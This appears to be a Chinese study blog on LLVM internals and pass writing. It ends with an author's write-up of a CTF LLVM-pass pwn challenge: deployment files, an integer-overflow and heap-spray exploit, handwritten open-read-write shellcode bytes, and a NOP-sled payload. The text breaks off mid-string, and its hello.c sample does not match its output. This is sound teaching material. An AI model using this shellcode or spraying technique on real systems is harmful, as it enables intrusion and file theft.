LLVM学习记录 LLVM介绍 wiki-llvm
LLVM由c++写成,是一个自由软件项目,一种编译器基础设施,一种编译器架构,是一个模块化可重用的编译器及工具链技术的集合,用来开发编译器前端和后端。
LLVM官网首页中介绍了LLVM的主要官方子项目,包括LLVM Core libraries、clang、LLDB等。
传统静态编译器最流行的设计是三阶段设计,其主要组件是前端、优化器和后端。前端解析源代码,检查错误,并构建特定于语言的抽象语法树(AST)来表示输入代码。AST 可以选择转换为新的表示形式以进行优化,并且优化器和后端在代码上运行。传统的编译器诸如GCC前后端耦合在一起,很难支持一门新的语言。
LLVM框架与传统编译器的区别在于引入了**中间代码IR(SSA静态单赋值形式)**,这是LLVM中设计的最重要的一部分。前端对于不同语言的源代码转换成统一的IR的形式,IR选择性地经过一系列pass优化,后端将IR转换成不同的机器代码,这样的设计使得LLVM格外灵活,支持一种新的编程语言,只需要实现一个新的前端。支持一种新的硬件设备,只需要实现一个新的后端。而优化阶段针对的也是统一的LLVM IR。
**前端(Frontend)**:词法分析->语法分析(生成AST语法树)->语义分析->中间代码(IR)。
优化器(Optimizer) : 中间代码优化,也可以加载LLVM Pass执行自定义的优化。
后端(Backend) : 生成汇编,生成目标文件。把IR编译成目标平台的机器代码。
LLVM框架图
LLVM前端已支持的编程语言:C、C++、ActionScript、Ada、D语言、Fortran、GLSL、Haskell、Java字节码、Objective-C、Swift、Python、Ruby、Crystal、Rust、Scala以及C#等
LLVM后端已支持指令集架构:x86、x86-64、ARM、MIPS、PowerPC以及RISC-V等
llvm构建 官方文档
安装llvm的方式有获取官方预构建二进制文件、使用软件包管理器、从源代码构建三种,为了更好地了解llvm结构,这里选择从源代码构建,仅包含了LLVM核心库及clang子项目
环境及llvm版本
1 2 3 4 5 ubuntu2004 虚拟机cmake version 3 .22 .1 ninja 1 .10 .0 lld llvm 17 .0 .0 git
初始位置在Home目录,构建过程:
1 2 3 4 5 6 7 8 mkdir LLVM cd LLVM git clone --depth 1 https://github.com/llvm/llvm-project.git cd llvm-project mkdir build cd build touch build.sh sudo ./build.sh
build.sh的内容
1 2 3 4 5 6 7 8 9 10 cmake -G Ninja \ -DLLVM_ENABLE_PROJECTS='clang' \ -DCMAKE_BUILD_TYPE=Release \ -DLLVM_TARGETS_TO_BUILD="X86" \ -DBUILD_SHARED_LIBS=On \ -DLLVM_USE_LINKER=lld \ ../llvm ninja ninja install
测试
参数解释:
-G Ninja 生成ninja构建文件,使用ninja来构建
-DLLVM_ENABLE_PROJECTS=’clang’ 除了 LLVM Core 外,还需要编译的子项目
-DCMAKE_BUILD_TYPE=Release cmake的release编译模式,构建时不包含调试信息和断言,占用空间少,编译更快
-DLLVM_TARGETS_TO_BUILD=“X86”:默认是ALL,选择X86可节约很多编译时间
-DBUILD_SHARED_LIBS=On:指定动态链接 LLVM 的库,可以节省空间
-DLLVM_USE_LINKER=lld,使用lld链接器,减少编译时间
踩到的坑
1.cmake版本不能太低,如果通过apt下载的cmake版本无法达到要求,则自己到官网下载
更新cmake参考
2.给虚拟机预留足够的磁盘空间,并且保存快照,内存设置至少4G。编译时间较长,内容较多,内存不足可能会导致虚拟机卡死,磁盘空间不足会导致编译终止,同时重启后无法正常进入图形化界面。
llvm及clang基本使用 Clang是类C语言的编译器前端,是LLVM的一个子项目,代码优化和后端由LLVM核心库提供,所以在下面的编译步骤拆解中,生成IR前都是使用clang命令,之后使用的都是llvm的其它工具
llvm和clang的关系
clang编译步骤及命令 对于c++代码,使用clang++
对于c代码,使用clang
1.查看编译的步骤 1 clang -ccc-print-phases hello.c
这里冒号后的三个部分含义分别是工具、输入、输出
可以看到包括了input、preprocessor、compiler、backend、assembler、linker六个阶段,事实上在compiler阶段还包括了词法分析、语法分析、语义分析(输出抽象语法树AST)、IR代码生成及优化。
clang中每个步骤生成的文件
2.编译步骤拆解 测试用例 hello.c
1 2 3 4 5 #include <stdio.h> int main () { cout << "Hello World!" << endl; return 0 ; }
预处理
1 2 3 4 5 6 7 8 9 10 11 12 $ clang -E hello.c # 1 "hello.c" # 1 "<built-in>" 1 # 1 "<built-in>" 3 # 384 "<built-in>" 3 # 1 "<command line>" 1 # 1 "<built-in>" 2 # 1 "hello.c" 2 int main(){ printf("Hello World!\n"); return 0; }
词法分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ clang -E -Xclang -dump-tokens hello.c int 'int' [StartOfLine] Loc=<hello.c:1:1> identifier 'main' [LeadingSpace] Loc=<hello.c:1:5> l_paren '(' Loc=<hello.c:1:9> r_paren ')' Loc=<hello.c:1:10> l_brace '{' Loc=<hello.c:1:11> identifier 'printf' [StartOfLine] [LeadingSpace] Loc=<hello.c:2:2> l_paren '(' Loc=<hello.c:2:8> string_literal '"Hello World!\n"' Loc=<hello.c:2:9> r_paren ')' Loc=<hello.c:2:25> semi ';' Loc=<hello.c:2:26> return 'return' [StartOfLine] [LeadingSpace] Loc=<hello.c:3:2> numeric_constant '0' [LeadingSpace] Loc=<hello.c:3:9> semi ';' Loc=<hello.c:3:10> r_brace '}' [StartOfLine] Loc=<hello.c:4:1> eof '' Loc=<hello.c:4:2>
语法分析与语义分析生成语法树AST
1 2 clang -fsyntax-only -Xclang -ast-dump hello.c# 代码量过大
生成LLVM IR
LLVM IR在磁盘中有两种形式:文本格式,拓展名.ll;bitcode二进制格式,拓展名.bc
文本格式
1 clang -S -emit-llvm hello.c
二进制格式
1 clang -c -emit-llvm hello.c
llvm提供了两种格式相互转换的工具:汇编器llvm-as 和反汇编器llvm-dis
llvm-as:将.ll转换成.bc
llvm-dis:将.bc转换成.ll
1 2 llvm-as hello.ll -o hello.bc llvm-dis hello.bc -o hello.ll
使用lli工具执行LLVM bitcode格式程序(可选)
注:LLI 不是 模拟器。它不会执行不同架构的 IR 并且它只能解释(或 JIT 编译)主机体系结构。
1 2 $ lli hello.bc Hello World!
使用llc工具生成汇编代码及目标文件
生成的汇编代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 .text .file "hello.c" .globl main # -- Begin function main .p2align 4, 0x90 .type main,@function main: # @main .cfi_startproc # %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movabsq $.L.str, %rdi movb $0, %al callq printf@PLT xorl %eax, %eax addq $16, %rsp popq %rbp .cfi_def_cfa %rsp, 8 retq .Lfunc_end0: .size main, .Lfunc_end0-main .cfi_endproc # -- End function .type .L.str,@object # @.str .section .rodata.str1.1,"aMS",@progbits,1 .L.str: .asciz "Hello World!\n" .size .L.str, 14 .ident "clang version 17.0.0 (https://github.com/llvm/llvm-project.git b16372c5fc65a6a7c14c19f01b17ac15a964d21f)" .section ".note.GNU-stack","",@progbits
生成目标文件
1 llc -filetype=obj hello.bc -o hello.o
接下来进行链接即可生成可执行文件,链接器用ld和llvm的子项目lld都可以
部分指令解释 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 -ccc-print-phases 查看编译的步骤 -E, --preprocess Only run the preprocessor 只允许预处理步骤 -S, --assemble Only run preprocess and compilation steps 只运行预处理和编译步骤 -c, --compile Only run preprocess, compile, and assemble steps 只运行预处理,编译和汇编步骤 -emit-llvm 使用汇编程序和目标文件的 LLVM 表示,可查看IR -fsyntax-only 运行预处理器、解析器和语义分析阶段 -Xclang <arg> 传递 <arg> 到 clang -cc1 -dump-tokens 运行预处理器,拆分内部代码段为各种token、 -ast-dump 构建抽象语法树AST,然后对其进行拆解和调试
更多细节查看
Clang 命令行参数参考
llvm命令指南
LLVM IR llvm ir参考手册
LLVM的核心是IR语言 (Intermediate Representation),一种类似汇编的底层语言。
IR是一种强类型的精简指令集(Reduced Instruction Set Computing,RISC),并对目标指令集进行了抽象。
LLVM IR有3种表示形式:
text:便于阅读的文本格式。扩展名为.ll bitcode:二进制格式。扩展名为.bc memory:内存格式
LLVM IR 的特点如下:
采用静态单一赋值(Static Single Assignment,SSA),即每个值只有一个定义它的赋值操作
代码被组织为三地址指令(Three-address Instructions)
有无限多个寄存器
LLVM Pass 如下图,opt是LLVM的优化器和分析器,可以加载编译好的LLVM Pass,对LLVM IR进行优化。为了对IR进行自定义的优化,我们要做的就是编写好Pass的源代码,编写构建脚本对源码进行编译(一般是.so),然后用opt工具来加载pass对IR进行优化。
首先,为了快速入门,先编写一个最基础的Pass,其功能是打印出程序中非外部函数的函数名。
需要注意的是,在LLVM 14.0.0 发行说明 中,提到了已经不再推荐使用旧版的pass管理器(the legacy pass manager),并且旧版在llvm14.0.0之后的版本将被移除,但是网上的大部分pass编写教程都还是基于旧版。本文使用的是LLVM17.0.0 git,编译旧版框架pass 时发现缺少include/llvm/Transforms/IPO/PassManagerBuilder.h这个头文件,源代码中也没有lib/Transform/IPO/PassManagerBuilder.cpp源文件,而PassManagerBuilder类用于构建旧版PassManager以及默认的Pass管道,这说明确实已经不支持旧版PM了。所以这里使用新版pass管理器。
旧版PM官方教程
新版PM官方教程
PM是PassManager的简称
源码集成编译 不生成和使用.so的pass编写方式 该方式不会产生pass的.so文件,使用opt时直接添加–passes来使用pass,opt –passes具体的用法在该文档
新版Writing an LLVM Pass官方教程 中是源码内编译的,跟着教程做就可以了
在llvm/lib/Transforms/Utils/HelloWorld.cppllvm/lib/Transforms/Utils/CMakeLists.txt
中添加HelloWorld.cpp,即Pass的源文件
添加llvm/include/llvm/Transforms/Utils/HelloWorld.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #ifndef LLVM_TRANSFORMS_HELLONEW_HELLOWORLD_H #define LLVM_TRANSFORMS_HELLONEW_HELLOWORLD_H #include "llvm/IR/PassManager.h" namespace llvm {class HelloWorldPass : public PassInfoMixin<HelloWorldPass> { public: PreservedAnalyses run (Function &F, FunctionAnalysisManager &AM) ; }; } #endif
添加llvm/lib/Transforms/Utils/HelloWorld.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include "llvm/Transforms/Utils/HelloWorld.h" using namespace llvm; PreservedAnalyses HelloWorldPass::run (Function &F, FunctionAnalysisManager &AM) { errs() << F.getName() << "\n" ; return PreservedAnalyses::all(); }
在llvm/lib/Passes/PassRegistry.def中添加,该步骤是注册pass,第一个参数即在opt工具中的pass名称
1 FUNCTION_PASS ("helloworld" , HelloWorldPass() )
运行上文llvm构建一节中的build.sh,重新构建llvm。之前已经构建好的不会重新编译,所以编译得很快
1 2 3 4 5 6 7 8 9 10 cmake -G Ninja \ -DLLVM_ENABLE_PROJECTS='clang' \ -DCMAKE_BUILD_TYPE=Release \ -DLLVM_TARGETS_TO_BUILD="X86" \ -DBUILD_SHARED_LIBS=On \ -DLLVM_USE_LINKER=lld \ ../llvm ninja ninja install
随后使用opt时加入参数-passes=helloworld就能使用该名为helloworld的pass了
测试用例
helloworld.ll
1 2 3 4 5 6 7 8 define i32 @foo () { %a = add i32 2 , 3 ret i32 %a }define void @bar () { ret void }
测试结果,测试时位于构建时创建的build目录中
1 2 3 4 5 6 $ opt -disable-output '/home/op1n/LLVM/llvm_pass/ir_for_test/helloworld.ll' -passes=helloworld foo bar# --print-passes可打印出所有注册的pass $ opt --print-passes | grep hello helloworld
生成和使用.so的pass编写方式 主要参考该文章 及旧版的Writing an LLVM Pass
在llvm/lib/Transforms目录下创建文件夹MyPass
在MyPass文件夹中创建CMakeLists.txt和MyPass.cpp
llvm/lib/Transforms/MyPass/CMakeLists.txt
1 2 3 4 5 6 7 8 add_llvm_library( LLVMMyPass MODULE BUILDTREE_ONLY MyPass.cpp DEPENDS intrinsics_gen PLUGIN_TOOL opt )
llvm/lib/Transforms/MyPass/MyPass.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #include "llvm/IR/PassManager.h" #include "llvm/Passes/PassBuilder.h" #include "llvm/Passes/PassPlugin.h" #include "llvm/Support/raw_ostream.h" #include <iostream> using namespace llvm;namespace {struct MyPass : public PassInfoMixin<MyPass> { PreservedAnalyses run (Function &F, FunctionAnalysisManager &FAM) { std::cout << "MyPass in function: " << F.getName ().str () << std::endl; return PreservedAnalyses::all (); } }; }extern "C" ::llvm::PassPluginLibraryInfo LLVM_ATTRIBUTE_WEAK llvmGetPassPluginInfo () { return { LLVM_PLUGIN_API_VERSION, "MyPass" , "v0.1" , [](PassBuilder &PB) { PB.registerPipelineParsingCallback ( [](StringRef Name, FunctionPassManager &FPM, ArrayRef<PassBuilder::PipelineElement>) { if (Name == "my-pass" ){ FPM.addPass (MyPass ()); return true ; } return false ; } ); } }; }
在llvm/lib/Transforms/CMakeLists.txt中添加
1 add_subdirectory (MyPass)
最后来到llvm构建时创建的build目录中进行构建,只会构建新增的部分,所以构建很快
生成的.so文件在LLVM/llvm-project/build/lib目录中
现在就可以通过opt工具来使用pass了
1 2 3 4 opt -disable-output \ -load-pass-plugin='/home/op1n/LLVM/llvm-project/build/lib/LLVMMyPass.so' \ -passes="my-pass" \ '/home/op1n/LLVM/llvm_pass/ir_for_test/helloworld.ll'
使用clang源码外构建 在源码外直接使用clang进行构建最方便
Pass源码,可以在任意目录,只要有源文件即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #include "llvm/IR/PassManager.h" #include "llvm/Passes/PassBuilder.h" #include "llvm/Passes/PassPlugin.h" #include "llvm/Support/raw_ostream.h" #include <iostream> using namespace llvm;namespace {struct MyPass : public PassInfoMixin<MyPass> { PreservedAnalyses run (Function &F, FunctionAnalysisManager &FAM) { std::cout << "kkk in function: " << F.getName ().str () << std::endl; return PreservedAnalyses::all (); } }; }extern "C" ::llvm::PassPluginLibraryInfo LLVM_ATTRIBUTE_WEAK llvmGetPassPluginInfo () { return { LLVM_PLUGIN_API_VERSION, "MyPass" , "v0.1" , [](PassBuilder &PB) { PB.registerPipelineParsingCallback ( [](StringRef Name, FunctionPassManager &FPM, ArrayRef<PassBuilder::PipelineElement>) { if (Name == "kkk" ){ FPM.addPass (MyPass ()); return true ; } return false ; } ); } }; }
使用如下命令构建
1 clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared MyPass.cpp -o LLVMMyPass.so `llvm-config --ldflags`
运行Pass,和生成.so的源码集成编译一样,需要so文件
1 2 3 4 opt -disable-output \ -load-pass-plugin='./LLVMMyPass.so' \ -passes="my-pass" \ '/home/op1n/LLVM/llvm_pass/ir_for_test/helloworld.ll'
输出
1 2 kkk in function : fookkk in function : bar
pass编写 这篇文章 有一些常用LLVM语法,更多更详细的内容在官方手册。
tips 测试clang生成的.ll文件时,需要删去 ‘attributes #0’ 行的’optnone’一词。
或在参数中添加-disable-O0-optnone
例:
1 clang -Xclang -disable-O0 -optnone -S -emit-llvm test.c
否则pass不会生效
校赛LLVM PWN出题记录 1.题目部署 租的是ubuntu2004阿里云服务器
主要使用xinetd部署,可以看这篇文章
当然实际部署的时候需要做很多修改,以下是成功部署的文件和部署过程
1 2 /ctf_xinetd bin ctf.xinetd Dockerfile README.md start.sh
1 2 /ctf_xinetd/bin# ls exp flag lib optimizer.so opt run.sh
lib文件夹是opt运行pass需要的动态链接库,exp是base64解码后的base64输入
基本思路是用户输入的数据经过base64解码后存在exp(ir代码),然后运行opt使用题目的pass来优化ir,这些操作都在run.sh完成
ctf.xinetd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 service ctf { disable = no socket_type = stream protocol = tcp wait = no user = root type = UNLISTED port = 8888 bind = 0.0.0.0 server = /usr/sbin/chroot # replace helloworld to your program server_args = --userspec=1000:1000 /home/ctf ./run.sh banner_fail = /etc/banner_fail # safety options per_source = 10 # the maximum instances of this service per source IP address rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use #rlimit_as = 1024M # the Address Space resource limit for the service #access_times = 2:00-9:00 12:00-24:00 }
Dockerfile
主要是在镜像中的bin目录下添加了base64命令和echo命令,同时给了run.sh和ctf用户rwx权限
1.base64命令用户解决.ll文件的传输问题。.ll文件有多行,server不方便读取。base64加密后的数据只有一行,shell脚本中一句read就能读取,读取后再base64解码即可。
2.这里不知道为什么,ctf并不在/home/ctf的所属组中,改了chown命令也没用,而且要在ctf用户下创建exp文件需要写权限,只能选择了chmod -R 777 /home/ctf,给了其他用户rwx权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 FROM ubuntu:20.04 RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ apt-get update && apt-get -y dist-upgrade && \ apt-get install -y lib32z1 xinetd RUN useradd -m ctf WORKDIR /home/ctf RUN cp -R /usr/lib* /home/ctf RUN mkdir /home/ctf/dev && \ mknod /home/ctf/dev/null c 1 3 && \ mknod /home/ctf/dev/zero c 1 5 && \ mknod /home/ctf/dev/random c 1 8 && \ mknod /home/ctf/dev/urandom c 1 9 && \ chmod 666 /home/ctf/dev/* RUN mkdir /home/ctf/bin && \ cp /bin/sh /home/ctf/bin && \ cp /bin/ls /home/ctf/bin && \ cp /bin/cat /home/ctf/bin &&\ cp /usr/bin/base64 /home/ctf/bin &&\ cp /bin/echo /home/ctf/bin COPY ./ctf.xinetd /etc/xinetd.d/ctf COPY ./start.sh /start.sh RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail RUN chmod +x /start.sh COPY ./bin/ /home/ctf/ RUN chown -R root:ctf /home/ctf && \ chmod -R 777 /home/ctf && \ chmod 744 /home/ctf/flag && \ chmod 777 /home/ctf/run.sh CMD ["/start.sh" ] EXPOSE 9999
run.sh
由于docker接收输入时最多一次性接收4096个字节,而exp长度大约为10000字节,所以循环读入,当用户输入ok时停止输入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # !/bin/bash echo "input your base64 encoded ir(.ll) :" input="" while true; do read -r -n 4096 segment if [ "$segment" == "ok" ]; then break else input+="$segment" fi done echo "$input" | base64 -d > exp cat ./exp ./opt -disable-output \ -load-pass-plugin='./optimizer.so' \ -passes="optimizer" \ './exp'
docker建立镜像及测试 使用Dockerfile创建镜像
1 docker build -t "test" .
启动镜像,这里8888对应ctf.xinetd和Dockerfile中expose的端口,nc时本地和远程都使用8090端口
1 docker run -d -p "0.0.0.0:8090:9999" -h "test" --name="test" test
查看所有镜像
测试
把.ll文件打包成一行base64
1 base64 test.ll | tr -d '\n' > exp
进入容器排查
1 docker exec -it 容器id /bin/bash
停止/再次启动/删除镜像
1 2 3 docker stop 容器id docker start 容器id docker rm 容器id
2.考点 对llvm框架基本的认识 需要分析的是pass编译出来的so文件,opt在运行过程中会加载so
新版passmanager怎么找分析时的入口函数?在旧版passmanager中找runonfunction函数就可以了,新版中大概是这个样子,本题可以直接查找字符串交叉引用
1 llvm::PreservedAnalyses *__fastcall `anonymous namespace ' ::easyheap::run
本地动态调试 本地动态调试需要先启动gdb再set args,同时漏洞点是在so库中的,需要一步一步调到目标so中的目标函数。
首先
进入gdb后
1 set args -disable-output -load-pass-plugin ='./optimizer.so' -passes ="optimizer" './test.ll'
在main函数下断点
用ida查看opt的main函数,跳过前面一大堆init函数,从lea开始调试,经过一次call就vmmap查看有没有pass的so库
最终发现在
1 llvm::cl::ParseCommandLineOptions
函数中导入了pass的so库,从函数名也可以判断该函数是用来解析命令行参数的
那么,只要在该函数下断点即可
然后调到pass的入口函数
通过vmmap可以看到pass的so文件的基址
如图,这里基址是0x7ffff7fae000,用ida打开so文件,可以找到入口函数相对基址的偏移
如图,偏移是EC70
相加后得到入口函数地址为0x7FFFF7FBCC70,直接在该地址下断点即可
调到入口函数后就和正常pwn题一样啦
tips:图中演示的文件不是最终的题目文件,偏移可能不一样
整型溢出 buy函数存在整型溢出。在buy时可以buy负数的chunk,money会减去这个负数,导致无限money。
堆喷 在无限money的基础上,可以申请任意大小的chunk并编辑其中内容。
locate可以跳转到一个相对chunk基址有一定随机偏移的地址执行,通过调整buy的chunk的大小并调试可以使loacte随机执行的范围与chunk的范围有交叉,那么此时就有概率从chunk开始执行。
采用堆喷的思想,在要执行的shellcode前添加滑块如nop,填满chunk,那么随机执行到chunk中时,就可以滑到shellcode执行,否则就要正好随机执行到shellcode首字节,这是万分之一级别的概率。
给了buy的chunk地址,可以减少调试难度,同时也可以发现malloc的参数为负数时,本地或许可以申请到chunk,但是remote时会申请失败,需要在chunk构造上做调整。
另外,在locate中开启了沙箱,禁用了execve和execveat,所以要orw,这又涉及另一个问题 — 解析字符串时会被\x00截断,所以要手搓orw_shellcode。
优化后的shellcode如下,35字节,需要手动把可见字符改成\x的形式否则会把/x12和3解析成0x123
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 shellcode = asm(''' mov edx,0x67616c66 push rdx mov rdi,rsp xor esi,esi xor rax,rax mov al,2 syscall mov edi,eax mov rsi,rsp xor eax,eax syscall xor di,2 mov eax,edi syscall ''' )
1 \xba\x66\x6c\x61\x67\x52\x48\x89\xe7\x31\xf6\x48\x31\xc0\xb0\x02\x0f\x05\x89\xc7\x48\x89\xe6\x31\xc0\x0f\x05\x66\x83\xf7\x02\x89\xf8\x0f\x05
3.exp 概率orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 void sell (int a) ;void buy (int sz) ;void edit (int idx,char * buf) ;void locate () ;void show () ;char buf[35 +0x800 +0x1 ] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\